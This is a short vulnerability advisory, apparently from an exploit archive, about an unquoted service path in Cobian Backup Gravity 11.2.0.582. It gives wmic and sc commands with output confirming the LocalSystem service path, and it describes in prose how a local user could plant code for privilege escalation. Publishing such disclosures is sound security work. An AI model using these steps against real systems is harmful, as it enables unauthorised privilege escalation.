Cobian backup gravity 11.2.0.582 cobianbackup11 unquoted service path Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2022-02-28 | Type : local | Platform : windows
This exploit / vulnerability Cobian backup gravity 11.2.0.582 cobianbackup11 unquoted service path is for educational purposes only and if it is used you will do on your own risk!

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# Exploit Title: Cobian Backup Gravity 11.2.0.582 - 'CobianBackup11' Unquoted Service Path
# Discovery by: Luis Martinez
# Discovery Date: 2022-02-24
# Vendor Homepage: https://www.cobiansoft.com/
# Software Link : https://files.cobiansoft.com/programs/cbSetup.exe
# Tested Version: 11.2.0.582
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 Pro x64 es

# Step to discover Unquoted Service Path:

C:\>wmic service get name, pathname, displayname, startmode | findstr "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "Gravity " | findstr /i /v """


Cobian Backup 11 Gravity CobianBackup11 C:\Program Files (x86)\Cobian Backup 11\cbService.exe Auto


# Service info:

C:\>sc qc CobianBackup11
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: CobianBackup11
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files (x86)\Cobian Backup 11\cbService.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Cobian Backup 11 Gravity
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem

#Exploit:

A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.